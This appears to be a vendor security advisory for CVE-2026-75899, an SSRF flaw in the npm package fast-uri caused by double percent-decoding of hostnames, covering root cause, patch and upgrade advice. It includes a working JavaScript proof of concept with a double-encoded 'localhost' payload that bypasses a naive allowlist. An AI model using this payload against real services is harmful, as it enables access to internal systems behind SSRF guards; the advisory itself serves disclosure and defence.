high · 7.5CVE-2026-75899Sep 2, 2026

CVE-2026-75899: fast-uri SSRF via Double Hostname Percent-Decoding

Shubham Kandhare
Security Engagement Manager, SecureLayer7

A double-decoding bug in fast-uri lets an attacker disguise an internal address like localhost inside nested percent-encoding, so it passes host-allowlist checks but resolves to the real internal…

Packagefast-uri
Ecosystemnpm
Affected>= 2.4.1, < 2.4.5
Fixed in2.4.5
CVE-2026-75899: fast-uri SSRF via Double Hostname Percent-Decoding

The problem

fast-uri decodes a hostname's percent-escapes twice in a single normalize() or resolve() call: once during parsing and again inside authority recomposition.

A host written as %256c%256f%2563%2561%256c%2568%256f%2573%2574 survives the first decode as %6c%6f%63%61%6c%68%6f%73%74, then collapses to the literal string localhost on the second pass. Any allowlist or SSRF guard that runs before normalize() sees only the encoded garbage, not the real destination.

Proof of concept

A working proof-of-concept for CVE-2026-75899 in fast-uri, with the exact payload below.

javascript
// Affected: fast-uri >= 2.4.1, < 2.4.5
const fastUri = require('fast-uri')

// %25XX encodes a literal percent sign, so %256c == %6c == 'l', etc.
// The host spells out 'localhost' via double-encoded octets.
console.log(fastUri.normalize('http://%256c%256f%2563%2561%256c%2568%256f%2573%2574/'))
// => 'http://localhost/'

// Bypass scenario: allowlist check sees encoded garbage, normalize() returns real host
function isSafe(url) {
  return !url.includes('localhost') && !url.includes('169.254')
}
const untrusted = 'http://%256c%256f%2563%2561%256c%2568%256f%2573%2574/'
console.log(isSafe(untrusted))              // true  (guard passes)
console.log(fastUri.normalize(untrusted))   // 'http://localhost/' (SSRF succeeds)

The root cause (CWE-174, Double Decoding) sits in the interaction between parse() and recomposeAuthority() in lib/utils.js. The predecessor fix for CVE-2026-6322 added decoding of percent-encoded authority delimiters during recomposition, which introduced the second decode pass as a side effect.

The patch (commit 6c86c17) added a reescapeHostDelimiters() helper that immediately re-encodes any RFC 3986 gen-delims (@, /, ?, #, :) that appear as literal characters after the first unescape(). This is applied at every call site where the host is decoded: parse(), normalizeComponentEncoding(), and recomposeAuthority().

The fix ensures a %25-prefixed sequence can never silently collapse into a live structural character or a routable hostname on the second pass.

The fix

Upgrade to fast-uri 2.4.5, 3.1.6, or 4.1.3. If you cannot upgrade immediately, reject any untrusted URI whose host component contains the literal string %25 before passing it to normalize() or resolve().

Reported by OpenJS Foundation CNA.

References: [1][2][3][4][5][6]

Related research